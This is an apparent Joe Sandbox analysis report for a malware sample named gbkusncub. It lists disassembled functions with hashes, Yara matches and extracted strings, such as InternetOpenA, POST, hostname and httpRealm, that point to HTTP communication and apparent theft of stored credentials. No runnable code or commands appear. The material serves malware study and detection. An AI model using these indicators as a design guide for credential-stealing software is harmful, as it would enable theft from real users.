                                                                                                                                                        • Instruction ID: 0aa547b493c74ca50001ee8ff187c0c2c5be0226acf5ef879f1c7842540c8043
                                                                                                                                                        • Opcode Fuzzy Hash: 530f0ad2e16f39a63e58455da1101b925533f85dc8cd6a7680c986334a49b8bc
                                                                                                                                                        • Instruction Fuzzy Hash: 9621A5B6800309AADB20DF98CC80FEF77ACAF84704F044669E9189F245C674A604C7F1
                                                                                                                                                        Function 013A8550 Relevance: 7.6, Strings: 6, Instructions: 80COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2320063359.0000000001391000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        • Associated: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: $: $: $Host$Host: $Unknown
                                                                                                                                                        • API String ID: 0-3527920956
                                                                                                                                                        • Opcode ID: 530f0ad2e16f39a63e58455da1101b925533f85dc8cd6a7680c986334a49b8bc
                                                                                                                                                        • Instruction ID: b7c3b925300cc586b2e055f99e447cdb743949651b79fb6dd4bbf974a68ee184
                                                                                                                                                        • Opcode Fuzzy Hash: 530f0ad2e16f39a63e58455da1101b925533f85dc8cd6a7680c986334a49b8bc
                                                                                                                                                        • Instruction Fuzzy Hash: DD2191B2904209AADB10DFD8CC80FEBB7ACEF84314F4445A9ED199B245D670A604C7F5
                                                                                                                                                        Function 0137A146 Relevance: 7.6, Strings: 6, Instructions: 75COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: $: $: $Host$Host: $Unknown
                                                                                                                                                        • API String ID: 0-3527920956
                                                                                                                                                        • Opcode ID: e2477c2b12e7321fe6acf83393ee753c6af9bf2232b4c133a46c44a8e6f0a9d0
                                                                                                                                                        • Instruction ID: 44b5ce7cfc71ffee33a984017113bb5585a39d84eca3ddd8658e50dfc7edb556
                                                                                                                                                        • Opcode Fuzzy Hash: e2477c2b12e7321fe6acf83393ee753c6af9bf2232b4c133a46c44a8e6f0a9d0
                                                                                                                                                        • Instruction Fuzzy Hash: 2A217476900209AADB21DF98DC80FEE77BCAF94704F044659F9199B245DA74A604C7B1
                                                                                                                                                        Function 013A854E Relevance: 7.6, Strings: 6, Instructions: 75COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2320063359.0000000001391000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        • Associated: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: $: $: $Host$Host: $Unknown
                                                                                                                                                        • API String ID: 0-3527920956
                                                                                                                                                        • Opcode ID: e2477c2b12e7321fe6acf83393ee753c6af9bf2232b4c133a46c44a8e6f0a9d0
                                                                                                                                                        • Instruction ID: be39681351607d66d7c86279d429e32c755c4d32c525c533632925f83320cb46
                                                                                                                                                        • Opcode Fuzzy Hash: e2477c2b12e7321fe6acf83393ee753c6af9bf2232b4c133a46c44a8e6f0a9d0
                                                                                                                                                        • Instruction Fuzzy Hash: 2B21A1B6900205AADB10DFD8CC80FEBB7BCEF84314F448569FD199B645D670A608CBB1
                                                                                                                                                        Function 013AC1D0 Relevance: 7.5, Strings: 6, Instructions: 41COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2320063359.0000000001391000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        • Associated: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: A$Inte$InternetOpenA$Open$rnet$rnetOpenA
                                                                                                                                                        • API String ID: 0-3155091674
                                                                                                                                                        • Opcode ID: 8f93591177d63440a7d4fcc38820cef4d44ce1c8150f9d8762720a548369221d
                                                                                                                                                        • Instruction ID: 70423f1fab74a331245afa9e48265d81c2897edc81aa376ff397fa9619985542
                                                                                                                                                        • Opcode Fuzzy Hash: 8f93591177d63440a7d4fcc38820cef4d44ce1c8150f9d8762720a548369221d
                                                                                                                                                        • Instruction Fuzzy Hash: E5F019B2901119AFDB14DFD9EC419FBBBBCEF48210B048589BE1897205D634AA10CBE1
                                                                                                                                                        Function 013AC1C8 Relevance: 7.5, Strings: 6, Instructions: 37COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2320063359.0000000001391000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        • Associated: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: A$Inte$InternetOpenA$Open$rnet$rnetOpenA
                                                                                                                                                        • API String ID: 0-3155091674
                                                                                                                                                        • Opcode ID: a710c8b87f824f35768eeba348421b0077172c85ef7d575953bb8d961b4c3acc
                                                                                                                                                        • Instruction ID: 4822e25feb74b4ebf5ad070c942a1013b561f78a63f1319b9485a5bcafd730e5
                                                                                                                                                        • Opcode Fuzzy Hash: a710c8b87f824f35768eeba348421b0077172c85ef7d575953bb8d961b4c3acc
                                                                                                                                                        • Instruction Fuzzy Hash: AEF019B6901119AFDB14DF98D941DEF7BB8FF48310B048149BE18A7305D234AA14CBA1
                                                                                                                                                        Function 0137E018 Relevance: 7.5, Strings: 6, Instructions: 34COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: Clos$CloseHandle$Inte$dle$eHan$rnet
                                                                                                                                                        • API String ID: 0-4067651292
                                                                                                                                                        • Opcode ID: 0e14ef5a2133572a007edb29d6b0d1ac0ce457eeba957283f8b59f320c40486f
                                                                                                                                                        • Instruction ID: 8a78bf3574fac77a46404c5ec6bdb04cf90620e6d225d6c8861155d852111f36
                                                                                                                                                        • Opcode Fuzzy Hash: 0e14ef5a2133572a007edb29d6b0d1ac0ce457eeba957283f8b59f320c40486f
                                                                                                                                                        • Instruction Fuzzy Hash: EEF03072D05218AFCB10DFD9D945AEEBBB8EB45210F1081D9EE48BB205D6719B10CBE1
                                                                                                                                                        Function 013AC420 Relevance: 7.5, Strings: 6, Instructions: 34COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2320063359.0000000001391000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        • Associated: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: Clos$CloseHandle$Inte$dle$eHan$rnet
                                                                                                                                                        • API String ID: 0-4067651292
                                                                                                                                                        • Opcode ID: 0e14ef5a2133572a007edb29d6b0d1ac0ce457eeba957283f8b59f320c40486f
                                                                                                                                                        • Instruction ID: 7203654130e6cafe608f810b76110df1e8d425b739733a46e50c7b0afbe8702f
                                                                                                                                                        • Opcode Fuzzy Hash: 0e14ef5a2133572a007edb29d6b0d1ac0ce457eeba957283f8b59f320c40486f
                                                                                                                                                        • Instruction Fuzzy Hash: 0FF030B2D05118AFCB10DFD9D9459EFBBB8EB45610F108189EE486B201D6709B10CBE5
                                                                                                                                                        Function 0137E00E Relevance: 7.5, Strings: 6, Instructions: 32COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: Clos$CloseHandle$Inte$dle$eHan$rnet
                                                                                                                                                        • API String ID: 0-4067651292
                                                                                                                                                        • Opcode ID: 266f383c71005c6f9dd63a252ec71e5a9569edf604fe9a850b4dee37bf814b4b
                                                                                                                                                        • Instruction ID: 8e056e8109e0989e9fcac5140616380a6b157d6a2780340d31465919fa27d63d
                                                                                                                                                        • Opcode Fuzzy Hash: 266f383c71005c6f9dd63a252ec71e5a9569edf604fe9a850b4dee37bf814b4b
                                                                                                                                                        • Instruction Fuzzy Hash: E4F090B2C01118AFCB15EFD9D945AEEBB78EF04310F108198EA497B201D6719B00CBE1
                                                                                                                                                        Function 013AC416 Relevance: 7.5, Strings: 6, Instructions: 32COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2320063359.0000000001391000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        • Associated: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: Clos$CloseHandle$Inte$dle$eHan$rnet
                                                                                                                                                        • API String ID: 0-4067651292
                                                                                                                                                        • Opcode ID: 266f383c71005c6f9dd63a252ec71e5a9569edf604fe9a850b4dee37bf814b4b
                                                                                                                                                        • Instruction ID: af232af29a6e661ca23961cb2916cd62566954e495eacf560c3347057c3c90a8
                                                                                                                                                        • Opcode Fuzzy Hash: 266f383c71005c6f9dd63a252ec71e5a9569edf604fe9a850b4dee37bf814b4b
                                                                                                                                                        • Instruction Fuzzy Hash: FEF030B2C05119AFDB05EFD9D9459EFBB78EF05710F148188EA457B201D6709B00CBE5
                                                                                                                                                        Function 007A4116 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowCOMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • SendMessageW.USER32(00000000,00000180,00000000,?), ref: 007A419F
                                                                                                                                                        • SendMessageW.USER32(?,00000186,00000000,00000000), ref: 007A41AF
                                                                                                                                                        • MoveWindow.USER32(00000000,?,?,?,?,00000000,?,?,Listbox,00000000,00000000,?,?,?,?,?), ref: 007A41D5
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000002.2348184656.0000000000711000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00710000, based on PE: true
                                                                                                                                                        • Associated: 00000008.00000002.2348148043.0000000000710000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007D3000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348368831.00000000007DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348402973.00000000007E5000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_2_710000_gbkusncub.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: MessageSend$MoveWindow
                                                                                                                                                        • String ID: Listbox
                                                                                                                                                        • API String ID: 3315199576-2633736733
                                                                                                                                                        • Opcode ID: 90651b413761d4eea7957e29ad7024cc56cbb9e743c1635459cb02748ed67c70
                                                                                                                                                        • Instruction ID: fca7415b55d0813df0ae67cd62a36c24febc3ea52c04dbb19a8731b647f97ff3
                                                                                                                                                        • Opcode Fuzzy Hash: 90651b413761d4eea7957e29ad7024cc56cbb9e743c1635459cb02748ed67c70
                                                                                                                                                        • Instruction Fuzzy Hash: D321D47261021CBBEF218F54DC84EFB376EEFDA750F008214F9149B190C6BA9C9287A0
                                                                                                                                                        Function 007A61E1 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47windowCOMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        APIs
                                                                                                                                                        • GetMenuItemInfoW.USER32(?,?,?,00000030), ref: 007A6220
                                                                                                                                                        • SetMenuItemInfoW.USER32(?,?,?,00000030), ref: 007A624D
                                                                                                                                                        • DrawMenuBar.USER32(?), ref: 007A625C
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000002.2348184656.0000000000711000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00710000, based on PE: true
                                                                                                                                                        • Associated: 00000008.00000002.2348148043.0000000000710000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348278504.00000000007D3000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348368831.00000000007DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        • Associated: 00000008.00000002.2348402973.00000000007E5000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_2_710000_gbkusncub.jbxd
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID: Menu$InfoItem$Draw
                                                                                                                                                        • String ID: 0
                                                                                                                                                        • API String ID: 3227129158-4108050209
                                                                                                                                                        • Opcode ID: e5dc7eab09fdc5353e898d46b39d96c5826c868b3bda9cc2a8028f3f545f3ace
                                                                                                                                                        • Instruction ID: 7fe6845fa7902cbc17b11d1cf08c39854dfddf5d0d4bd8506f61f443f9f1a2ab
                                                                                                                                                        • Opcode Fuzzy Hash: e5dc7eab09fdc5353e898d46b39d96c5826c868b3bda9cc2a8028f3f545f3ace
                                                                                                                                                        • Instruction Fuzzy Hash: 45019271600218EFEB209F51DC88BAE7BB4FF86351F18C199F849D6151DB388994EF61
                                                                                                                                                        Function 01373A18 Relevance: 6.5, Strings: 5, Instructions: 261COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: L: $guid$guid$hostname$httpRealm
                                                                                                                                                        • API String ID: 0-1857978454
                                                                                                                                                        • Opcode ID: 75db1ad2e45bad40403b02a04821bc3e9dfec754d4ff7d5b41b95e0fd8e6b32b
                                                                                                                                                        • Instruction ID: 32f061afed707c696d5f54103275ae4cee004909506aa93740d1ce83cad1c345
                                                                                                                                                        • Opcode Fuzzy Hash: 75db1ad2e45bad40403b02a04821bc3e9dfec754d4ff7d5b41b95e0fd8e6b32b
                                                                                                                                                        • Instruction Fuzzy Hash: 5A914EB0900249AFDB20DFB8CC81FEEBBBCBF58314F104519E518E7241E7789A158B65
                                                                                                                                                        Function 0137C0E8 Relevance: 6.4, Strings: 5, Instructions: 180COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: Expl$GET$Windows Expl$Windows Expl$rer
                                                                                                                                                        • API String ID: 0-314038199
                                                                                                                                                        • Opcode ID: 3dc39ad5f602ff1ce72f80c46131a8a6ca269edcf30d193e7e289bd6ea6a4ac9
                                                                                                                                                        • Instruction ID: 55aa51c174e9a1b597615aef320b070fc609a2d9648499ecea9e615697c10e0b
                                                                                                                                                        • Opcode Fuzzy Hash: 3dc39ad5f602ff1ce72f80c46131a8a6ca269edcf30d193e7e289bd6ea6a4ac9
                                                                                                                                                        • Instruction Fuzzy Hash: C851A8B1A402066BEB31DF58CC81FEF77B8EF54718F144159FA086B281E778A6418BA1
                                                                                                                                                        Function 013AA4F0 Relevance: 6.4, Strings: 5, Instructions: 180COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2320063359.0000000001391000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        • Associated: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: Expl$GET$Windows Expl$Windows Expl$rer
                                                                                                                                                        • API String ID: 0-314038199
                                                                                                                                                        • Opcode ID: 3dc39ad5f602ff1ce72f80c46131a8a6ca269edcf30d193e7e289bd6ea6a4ac9
                                                                                                                                                        • Instruction ID: 2a52482758fabe435b2b72995b5d429d4cf9c9b96f0948dda905948479bf9855
                                                                                                                                                        • Opcode Fuzzy Hash: 3dc39ad5f602ff1ce72f80c46131a8a6ca269edcf30d193e7e289bd6ea6a4ac9
                                                                                                                                                        • Instruction Fuzzy Hash: F551B6B2A40209ABEB11DF58CC41FFF7BB8EF54758F444159FA086B281E774A641CBA4
                                                                                                                                                        Function 0137C2F8 Relevance: 6.4, Strings: 5, Instructions: 154COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: */*$POST$POST$Windows Expl$rer
                                                                                                                                                        • API String ID: 0-1278404498
                                                                                                                                                        • Opcode ID: b4e4dc6d44ef2b835b941e1596947c0ee09c2687453f4f5455a846bf071b575b
                                                                                                                                                        • Instruction ID: 3e8aa54aafa80f3727606e465563c69fe91cc927acc9b9e0f885189ab207921e
                                                                                                                                                        • Opcode Fuzzy Hash: b4e4dc6d44ef2b835b941e1596947c0ee09c2687453f4f5455a846bf071b575b
                                                                                                                                                        • Instruction Fuzzy Hash: 5D5172B190130AAFEB21DFA8CC41BEE77B8BF54304F044159F918BB281E7789654CBA1
                                                                                                                                                        Function 013AA700 Relevance: 6.4, Strings: 5, Instructions: 154COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2320063359.0000000001391000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        • Associated: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: */*$POST$POST$Windows Expl$rer
                                                                                                                                                        • API String ID: 0-1278404498
                                                                                                                                                        • Opcode ID: b4e4dc6d44ef2b835b941e1596947c0ee09c2687453f4f5455a846bf071b575b
                                                                                                                                                        • Instruction ID: fc2e4fdf2d87b95ee5b718620b4d89d8991b922132394af4b43511c9b1c65961
                                                                                                                                                        • Opcode Fuzzy Hash: b4e4dc6d44ef2b835b941e1596947c0ee09c2687453f4f5455a846bf071b575b
                                                                                                                                                        • Instruction Fuzzy Hash: B75187B2D00209AEEB11DF98DC41FEE7BB8EF14308F444159F909A7281E7715655CBA5
                                                                                                                                                        Function 0137C2EF Relevance: 6.4, Strings: 5, Instructions: 120COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: */*$POST$POST$Windows Expl$rer
                                                                                                                                                        • API String ID: 0-1278404498
                                                                                                                                                        • Opcode ID: d9a8561392cb4bf7485f309fb42e5ec7c26e5bb92697ede298f576cd3c19b37b
                                                                                                                                                        • Instruction ID: f5ea5855699d52ee806816c8432b2deb86f09a19cf2ea556ebce37c8e25e6125
                                                                                                                                                        • Opcode Fuzzy Hash: d9a8561392cb4bf7485f309fb42e5ec7c26e5bb92697ede298f576cd3c19b37b
                                                                                                                                                        • Instruction Fuzzy Hash: B64185B1D01349AEEB21CFA8CC41BEEBBB8BF15304F04515AE518BB281E7745644CBA1
                                                                                                                                                        Function 013AA6F7 Relevance: 6.4, Strings: 5, Instructions: 120COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2320063359.0000000001391000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        • Associated: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: */*$POST$POST$Windows Expl$rer
                                                                                                                                                        • API String ID: 0-1278404498
                                                                                                                                                        • Opcode ID: d9a8561392cb4bf7485f309fb42e5ec7c26e5bb92697ede298f576cd3c19b37b
                                                                                                                                                        • Instruction ID: 86582501db82c38fa003201425d8b8e84e6c86fb7e8bddab96af486b3ced1e9f
                                                                                                                                                        • Opcode Fuzzy Hash: d9a8561392cb4bf7485f309fb42e5ec7c26e5bb92697ede298f576cd3c19b37b
                                                                                                                                                        • Instruction Fuzzy Hash: 6A4186B1D01349AEEB11CFA8CC41BEEBBB8EF14704F444159E519BB281E7705645CBA1
                                                                                                                                                        Function 013696F8 Relevance: 6.4, Strings: 5, Instructions: 120COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: 4$dll$ion.$ion.dll$vers
                                                                                                                                                        • API String ID: 0-4275468499
                                                                                                                                                        • Opcode ID: 9e2d8b15ba2100d822ddf65bbb6b25439562528d50c429bce9bb2cc450a830f9
                                                                                                                                                        • Instruction ID: 0a555db0ed14ab1de84abee1ff98c4ba466549f9a307b9578db5b6fa01ced947
                                                                                                                                                        • Opcode Fuzzy Hash: 9e2d8b15ba2100d822ddf65bbb6b25439562528d50c429bce9bb2cc450a830f9
                                                                                                                                                        • Instruction Fuzzy Hash: 7A41AA72900219AFEB20DB99CC84FEFBBBCEF54704F048199E518AB184DB749604CBA1
                                                                                                                                                        Function 01397B00 Relevance: 6.4, Strings: 5, Instructions: 120COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2320063359.0000000001391000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        • Associated: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: 4$dll$ion.$ion.dll$vers
                                                                                                                                                        • API String ID: 0-4275468499
                                                                                                                                                        • Opcode ID: 9e2d8b15ba2100d822ddf65bbb6b25439562528d50c429bce9bb2cc450a830f9
                                                                                                                                                        • Instruction ID: 94714a58fadf5f3feb2abe3ee872c03a760ba27c14f1ede8785c926d6df02732
                                                                                                                                                        • Opcode Fuzzy Hash: 9e2d8b15ba2100d822ddf65bbb6b25439562528d50c429bce9bb2cc450a830f9
                                                                                                                                                        • Instruction Fuzzy Hash: 8D41A672A00219ABEF14DFA9CC81FEFBBBCEF44704F144159E618AB184D6709604CFA5
                                                                                                                                                        Function 0137C0DF Relevance: 6.3, Strings: 5, Instructions: 91COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
                                                                                                                                                        Similarity
                                                                                                                                                        • API ID:
                                                                                                                                                        • String ID: Expl$GET$Windows Expl$Windows Expl$rer
                                                                                                                                                        • API String ID: 0-314038199
                                                                                                                                                        • Opcode ID: 840e359ab2f30303e642095d1dc3ed0318916a2d4f501869f1fc4e00b54145fe
                                                                                                                                                        • Instruction ID: c84e72091312461eb9c42b6862c585d53e87ff109e60339bc15bdb56c8e466bc
                                                                                                                                                        • Opcode Fuzzy Hash: 840e359ab2f30303e642095d1dc3ed0318916a2d4f501869f1fc4e00b54145fe
                                                                                                                                                        • Instruction Fuzzy Hash: 2431B471A413166BEB328B948C82FEE7B78AF55B08F140159FA087F2C1D7B46651CBA1
                                                                                                                                                        Function 013AA4E7 Relevance: 6.3, Strings: 5, Instructions: 91COMMON
                                                                                                                                                        Download Yara Rule
                                                                                                                                                        Strings
                                                                                                                                                        Memory Dump Source
                                                                                                                                                        • Source File: 00000008.00000003.2320063359.0000000001391000.00000004.00000020.00020000.00000000.sdmp, Offset: 01364000, based on PE: false
                                                                                                                                                        • Associated: 00000008.00000003.2319954788.0000000001364000.00000004.00000020.00020000.00000000.sdmpDownload File
                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                        • Snapshot File: hcaresult_8_3_1364000_gbkusncub.jbxd
                                                                                                                                                        Yara matches
